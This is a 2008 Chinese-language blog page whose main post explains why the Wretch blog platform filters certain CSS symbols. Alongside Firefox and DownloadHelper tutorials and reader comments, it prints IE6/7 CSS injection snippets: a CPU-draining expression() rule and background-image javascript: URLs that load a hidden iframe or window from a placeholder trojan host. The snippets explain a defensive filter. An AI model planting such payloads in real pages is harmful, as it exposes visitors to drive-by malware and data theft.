2008年10月12日
2008年10月10日
2008年10月9日
（專欄）無名版面設計 - css規則限制的迷思(一)
利益燻心
我思考了一段時間，寫給無名用戶的一些想法與建議，一直沒有一個定位，因為無名用戶的年齡層比較廣泛，或者更貼切的說，無名的使用者包括了老、中、青三代，所以我的思考方向是，如何寫一篇給「老、中、青三代」的使用者閱讀，又有意願吸收的文章。
無名小站到目前為止所出現的種種問題，不僅在於使用者本身，其所導致這些問題存在的關鍵，還是在於無名小站提供的服務政策，與相關的條約限制有關。
其實綜觀這幾年來的無名小站，所得到的評價遠不如被收購之前的無名，甚至可以說，對於使用者而言，這是一項側底失敗收購政策，因為台灣YAHOO看好無名小站的佔有市場，說的露骨一點，就是想併吞無名小站的市場，這樣才可以為自己帶來更大的商業市場與商機。
於是我們可以從這個思考方向出發，或許就不難明白為何無名會有CSS的限制條例，仔細想想，yahoo的信箱充斥著瀰漫的廣告信件不是沒有原因的。
CSS引發可笑的「安全性問題」
當然了，無名表示修改或引用來路不明的CSS規則會產生所謂的「安全性問題」，此問題看來可笑，但卻有其根據的，這就是我今天打這篇文章的目的，因為有太多的無名用戶無法接受CSS也會有安全性的可笑問題，當然，不可否認的，這些限制條例不排除廣告置入性行銷的可能性，但CSS所引發的安全性問題絕不是空穴來風，這是其來有自的，您對於無名所提出的使用條例無法接受乃人之常情，因為這是百分之九十用戶的心聲，甚至包括筆者也無法接受無名對於CSS會有這麼多限制，不過我們更應該重視的是無名提及的「安全性問題」。
今天我就帶大夥一起來瞭解這些事情的淵源。
CSS安全性問題來自私有屬性與IE解讀上的漏洞
過去幾年來，IE Only(僅ie支援)的網站在萬維網上橫行無阻，不論是私有屬性、濾鏡，或者是根據漏洞而鑽研的規則對於IE6都造成極大的危險性與不穩定性，這一切都拜比爾蓋茲所賜，他是W3C的成員之一，自己不遵守這些網路標準規範，卻玩起自己的標準來了，先不說IE6如何遵循當時的網路標準規範，單是私有屬性與解讀規則上的漏洞就令人不敢苟同了，微軟稱：「這是為了給WEB開發者帶來更大更自由的天馬行空創作」。此後的幾年，陸續問世的所見即所得網頁設計軟體也把這個概念放到軟體中，因為更可笑的，軟體開發市場看準了WEB的發展趨勢，因為WEB設計師們喜歡這些美妙的東西。
微軟想不到這些自家的標準概念，卻是往後幾年造成自家瀏覽器的市場佔有率下滑的主因，因為近幾年來，Mozilla Firefox迅速竄紅，致使其他家瀏覽器廠商陸續加入市場爭奪戰，紛紛推出自家的新版瀏覽器，而且響應了遵循網路標準規範(W3C)的趨勢，這讓微軟不再高枕無憂，Internet Explorer 7也就在情急之下這麼誕生了，我常常強調：「Internet Explorer 7是被逼出來的」。
──唯有遵循網路標準規範，才能讓用戶得到真正天馬行空的創作
剛剛提到私有屬性、濾鏡，或者根據漏洞而鑽研的CSS規則，對IE6用戶本身造成極大的安全性問題，這也是IE6市場下滑的原因之一，相較之下，Firefox與Opera，甚至於Safari支援的CSS規則更完整，且更符合W3C提倡的WEB標準，在使用與自訂方面也比IE來的自由許多。
微軟早期開發的私有CSS規則與產生的漏洞，可以導致瀏覽器的視窗凍結、當掉、植入木馬，這些都是駭客入侵系統或竊取他人資料可以使用的管道。不要懷疑，我馬上示範一些簡單的例子給各位瞧瞧。
一、會耗盡CPU資源的獨特CSS規則
IE6除了是個不折不扣的BUG天王之外，我剛剛還說過，微軟喜歡搞自己的標準，那麼最具代表性的，不外乎類似下列這條規則：
a {blr:expression(this.onFocus=this.blur());}屬於DHTML的「expression」，這可是Java Script範疇了。「expression」的工作狀況是，你每動一次游標，它都得計算N次，如果你頁面有很多類似這種「expression」的Java Script寫法，你想知道會有什麼後果嗎，您不妨點選測試一的示範網址體驗一下：
測試一示範網址：expression(請用IE6開啟)
「expression」雖然並不具有安全性問題，但它卻會榨乾你的cpu，另你的視窗處於凍結狀態。如果有人想惡搞你的ie瀏覽器，此方法再好不過了。
二、植入木馬
要達到利用css植入木馬，首先得利用css其中的一條規則「background」背景屬性，IE6/7這兩個版本號在解讀這條屬性具有漏洞，下面是一個簡單的例子：
在「background-image」的屬性值裡面輸入一個Java Script的彈出窗口
body{
background-image:
url('javascript:alert("這是寫在css裡面的彈出窗口")');
} 測試二示範網址：CSS彈出窗口(請用IE6/7開啟)
也許你很納悶，無名限制項裡面限制的是「*」、「>」、「-」、「_」這些CSS符號，這跟上面的示範例子有什麼關聯？別忘記了，Java Script要能夠正常的被執行，當然也絕對少不了這些符號，你可以去問稍有經驗Java Script程式設計師，那麼換句話說，駭客如果想要寫一個更具破壞性的入侵代碼，勢必會動用到這些符號，例如下面這兩個例子：
body {
background-image:
url('javascript:document.write("
<Iframe src=http://xxx.xxx/test.htm width=0 height=0>
</iframe>")')
} http://xxx.xxx/test.htm 就是木馬網址
經由彈出一個框進行木馬植入動作
body {
background-image:url('javascript:open
("http://xxx.xxx/test.htm")')
} 但這樣會被發現，於是有人發展成：
body {
background-image:
url(javascript:open('http://xxx.xxx/test.htm',
'newwindow','height=0, width=0,
top=1000, left=0, toolbar=no,
menubar=no, scrollbars=no,
resizable=no,location=no, status=no'))
} 如何？！以上這些示範代碼可以讓IE6/7的用戶中毒，植入木馬，然後取得您的系統控制權、甚至竊取你的隱私權資料。
基於以上示範，目的是要讓各位瞭解無名限制css中會使用到的特殊符號的理由，基本上只要偵測出含有這些特定符號的規則，會把整條屬性規則給過濾掉。
但是這些限制方案存在一個很大的缺陷，就是基於各家瀏覽器的相容性技巧，往往得用到這些符號規則，例如「* html」、「html>body」、「html+body」。因為Firefox與IE7都認得「!important」，有的時候得使用一些更進階的技巧來設計版面，但是這些更進階的技巧，基本上全被過濾了，也因此在瀏覽無名部落格的時候，常常不是IE下出問題，就是Firefox下有問題，然而不可思議的是，在無名提供版面樣式給用戶的時候，明明測試有問題卻還同時標榜著：Firefox與IE相容的圖示。
至於「text-indent」與「margin」的負值使用限制，無名說：「若可為負數，有心人士將可把原本的無名頁面設定到螢幕以外不能顯示的部分，取而代之的用一個假無名登入頁面來騙取你的密碼，這時很有可能就會有人被盜密碼，或者是設定一個不斷跳出廣告的惡意程式，但無法找到關掉的地方。」
我認為這不但是荒謬，而且是強詞奪理的說法，說穿了就是因為之前有人利用這個方法將無名的廣告給移到天涯海角去了，所以才做出這樣的限制，說的明白些，這只不過是在給自己找臺階下的自圓其說罷了。
想清楚了，絕大多數的無名用戶的訪客訪問量是少之又少，「哪個白痴有心人士會浪費這種美國時間在默默無名的小站上？」就算真的要騙也會找個「有名大站」吧。
還有，駭客真的會無聊到把無名用戶設計的版面移開，然後再設計一個一模一樣的頁面來騙取你？以為每個人都眼殘到看不出來就是了。
相信我，沒有一個駭客想如此的作賤自己。
當我在幫瀟灑改版面，甚至進行兼容的時候，發現這個也不能用，那個也不能用，覺得無名小站實在讓人深惡痛絕。
【本文在標準之旅同時發佈】
下一個章節將帶您深入瞭解無名的版面結構
- 留言者: kidpipi0323
- Email:
- 網址:
- 日期: 2008-10-10 11:40:33
和不搬家或用WordPress架一個真正屬於自己的BLOG呢?
- 留言者: jakeandy
- Email:
- 網址: http://jakeandy.pixnet.net/blog
- 日期: 2008-10-15 20:29:27
我已經搬到痞客,雖沒有無名這麼機車
但是最近也是bug不停
一樣的遭經
- 留言者: a0912357430
- Email:
- 網址:
- 日期: 2009-04-24 15:46:06
版面用什麼設計的 !!
我是入門的無名玩者....
2008年10月8日
（教學）DownloadHelper~FireFox精選擴充套件【01】
開學也有一個多月 那個坐在後面的格友？ 好了，牢騷完畢，進入正題 偵測能力真的嚇死人的強－。－ |
下載DownloadHelper附加元件 |
安裝完成後，工具列上會出現ＤownloadHelper的小圖示 | |
| １ | 必須先播放一下網頁的影音檔 |
| ２ | 如果出現動畫，就表示程式已經偵測到影音檔網址 |
| ３ | 單響旁邊三角形符號出現影音檔檔名 |
簡單的測試之後，我們來調整一些設定 | |
| １ | 單響【工具】 |
| ２ | 選擇【ＤownloadHelper】 |
| ３ | 單響【偏好設定】 |
基本上，這邊的設定都很直覺，預設存檔位置在桌面，，議同學換掉 | |
| １ | 可以選擇同時下載或一個接一個 |
| ２ | 更改儲存的目錄，做好影片管理吧 |
預設有限制下載媒體大小，基本上這樣的設定差不多了 |
在最後一個【轉換】標籤中 |
在支援網站中，可以瀏覽一下目前程式所支援的影音網按有哪些 |
啥？這個不要亂勾選！！清心寡慾身體才會健康！ |
測試一下YouTube，通過！！ |
測試Vlog，也通過！！ |
瀟灑很喜歡收集網路上不錯的影片 不過，網路上影片還是有他的版權在 |
| 延伸閱讀 |
| （教學）FireFox精選擴充套件【00】 （教學）踢掉爛爆的IE，換FireFox吧！ |
- 留言者: jtv1
- Email:
- 網址:
- 日期: 2008-10-09 00:22:12
你知道小叮噹的大結局嗎？？
我們是專門介紹日本卡通歌的網志，希望你會喜歡！
ｷﾀ━━━(●ω●)━━━!!
- 留言者: michelle
- Email:
- 網址: http://blog.yam.com/michelle0918
- 日期: 2008-10-09 08:21:05
新加幾篇文章才是~
http://blog.yam.com/michelle0918/article/8534174
- 留言者: ｈａｎ
- Email:
- 網址:
- 日期: 2008-10-12 13:03:21
以後會常常來低～
照你說的安裝之後我下載下來都是FＬＶ檔耶
有沒有方便簡單的轉檔軟體呢？
網路上有一堆，可實在是不知該如何選擇阿>"<
2008年10月7日
（教學）FireFox精選擴充套件【00】
這張桌面背景圖很有意思 一位妙齡少女的右上方寫著： 【You Don't Have to Pay to Play】 ㄟ，有小孩子在，所以瀟灑不翻譯了 同學應該看得懂吧！ 這個單元先帶大家了解一下 在瀟灑的FireFox中，掛了哪些好用的東西！！ （點選左方圖示可以連結擴充套件網頁） |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
| 按下左方程式的小圖，可以連結到下載的網頁，往後的單元會慢慢介紹 |
| 延伸閱讀 |
| （教學）踢掉爛爆的IE，換FireFox吧！ |
（消息）歡迎共筆作者－藤原直樹
老朋友應該感覺到 部落格中的文字結構稍稍改變了吧 瀟灑請了標準之旅的格主 改了CSS樣式 文章閱讀起來應該清爽許多吧 藤原直樹在PhotoImpact與網站設計上 功力也是相當深厚 瀟灑目前也做了一個嘗試 請藤原直樹來這寫文章 就是所謂的共筆作者 一方面讓部落格更多樣化 一方面也可以分擔一下瀟灑的工作 以後大家會不定時看到他的教學 合作部分都需要彼此良好的默契與互動 一步一步慢慢來，共同加油勒-.- |
| 標準之旅：http://adw.tw/sir/blog/ |
- 留言者:
- Email:
- 網址:
- 日期: 2008-10-09 11:04:16
- 留言者: gloriac55
- Email:
- 網址:
- 日期: 2008-10-09 12:50:13
心頭升起"有晃有賺到"的感受~~~
- 留言者: jakeandy
- Email:
- 網址: http://jakeandy.pixnet.net/blog
- 日期: 2008-10-15 20:26:19
字體變大
這給阿桑們的福利喔
呵呵
多加了個作者,不錯喔^^
2008年10月2日
（教學）踢掉爛爆的IE，換FireFox吧！
瀏覽器，瀟灑一直是IE與FireFox共用 沒辦法，古早以前 很多網頁的設計並不支援FireFox的架構 IE還是主流， 但主流不代表它好！！ 這幾個月我快被IE氣瘋了， 問題一堆，越來越不爽 現在，瀟灑連預設開啟瀏覽器的方式都以FireFox 朋友們！如果你還在ＩＥ的淫威之下 趕快換一換吧 這個單元是針對完全沒有使用過FireFox的新手， 或者嘗試過FireFox，然後望之卻步的人， 所以沒有艱澀的東西 其實使用軟體指是一種習慣 改變習慣最好的方式就是 要逼著自己使用他！！ |
| 下載FireFox3.02：http://www.moztw.org/ |
如果程式沒有自動下載，請按下【click here】 下方也有安裝說明，請按照步驟安裝完成後啟動。 |
| 安裝佈景主題－貼近原本使用的IE瀏覽器 |
為了讓同學可以立刻上手 兼顧你的使用習慣， 瀟灑先帶大家把畫面改一下 這部分會透過附加元件的方式， 在往後的單元中， 瀟灑會介紹幾個必備的元件 只要裝這幾個就好！ |
網路上有很多熱心網友設計了許多可以在FireFox外掛的小程式 安裝這些程式的步驟也非常簡單 在這個對話方塊中， 可以設定與管理（包含增減，停用與選項）所有外掛程式 單響【瀏覽所有附加元件】 |
開啟附加組件的網頁，預設為簡體中文 拉到最下面，我們可以改成親切的繁體中文 |
由於我們要改FireFox的介面 點選左方【佈景主題】可以做套用 ㄟ。。不用找了， 請直接點選https://addons.mozilla.org/zh-TW/firefox/addon/4988 |
單響【接受並安裝】 再次單響【立刻安裝】 以後需要外掛元件，都是利用這種模式 |
安裝完成，重新啟動後 ㄟ，界面很像原本的ＩＥ７吧！ FireFox的操作跟ＩＥ幾乎是一模一樣的 就按照同學平常的習慣來使用 |
同學或許有個疑問 我用ＩＥ好好的，為什麼要換？ 那，好吧 請同學把這個單元當作是＂知識＂ 不過，當你加入一些外掛組件時 你開始會對FireFox產生濃厚的興趣。。。 |
下一個單元要介紹一些好用的擴充組件，大家先適應一下新環境囉！ |
- 留言者: 標準之旅
- Email: k236740@gmail.com
- 網址: http://adw.tw/sir/blog/
- 日期: 2008-10-03 01:10:13
可以直接線上安裝唷^^
URL：http://adw.tw/sir/blog/Firefox_3-0-3_Add-ons/
- 留言者: politicmap
- Email:
- 網址:
- 日期: 2008-10-04 15:07:19
不用說IE很爛還是淫威什麼的。
其實只要用過一次Firefox就知道IE好還是Firfox好用了。
這很容易判斷，因為差距實在太明顯了。
期待你下一個單元擴充套件喔！^^
推一個
- 留言者: alexhui
- Email:
- 網址:
- 日期: 2008-10-04 22:49:51
加+/- or 滑鼠滾輪).
與老師分享我用的擴充套件:
Adblock Plus, Hyperwords, IE Tab
- 留言者: 靜
- Email:
- 網址:
- 日期: 2008-10-05 12:13:49
試用了火狐狸發現以前用IE開很慢的網頁一下就開了
（之前一直覺得是自己的電腦太老舊跑不快＝ ＝ ")
不過有的網站用火狐狸有一些功能無法啟用...
- 留言者: ssstar
- Email:
- 網址:
- 日期: 2008-10-05 15:42:38
火狐真的好好用喔...
- 留言者: ***
- Email:
- 網址:
- 日期: 2008-10-05 15:59:57
我可以把火狐設定成我只要開網頁都用火狐不要用ie嗎?~
- 留言者: ah11851152n
- Email:
- 網址: http://ah11851152n.pixnet.net/blog/
- 日期: 2008-10-07 20:49:58
用火狐，我幾乎都很敢開網頁，連學校我都要手動替他安裝一下。
- 留言者: irenelineeee
- Email: hsu2468.yi@msa.hinet.net
- 網址: http://www.wretch.cc/blog/irenelineeee/12097592
- 日期: 2008-10-08 16:48:05
上面那個附加元件
沒辦法安裝請問是那裡出了問題呢
- 留言者: aamy0202
- Email:
- 網址:
- 日期: 2009-03-24 16:33:32
剛開無名發現以前使用ie瀏覽器無名介面都很整齊
用火狐後，無名介面都皺成一團(這形容詞誇張點，就是該在左邊的沒有
好好靠左..)
請問..那a安捏
- 留言者: aamy0202
- Email:
- 網址:
- 日期: 2009-03-24 17:08:57
那請問ie-tab也是在附加元件安裝嗎
還是一般軟體下載找?
非常感謝您耐心回答哦
- 留言者: pind0115
- Email:
- 網址:
- 日期: 2009-04-03 17:09:55
像奇摩的部落格阿~原本文章根標題底色都是拉成透明的
可是在火狐看...會變成是銘黃色的..
可是用IE看就又正常..就不知道是哪邊有問題
- 留言者:
- Email:
- 網址:
- 日期: 2009-05-29 20:44:14
- 留言者: sam
- Email: talltony520@yahoo.com
- 網址:
- 日期: 2009-07-20 22:28:14
那些程開不了了 例如dnf(online game)
- 留言者: sam
- Email: talltony520@yahoo.com
- 網址:
- 日期: 2009-07-21 09:06:03
- 留言者: joanna200366
- Email:
- 網址:
- 日期: 2009-08-13 23:15:29
訂閱：
文章 (Atom)
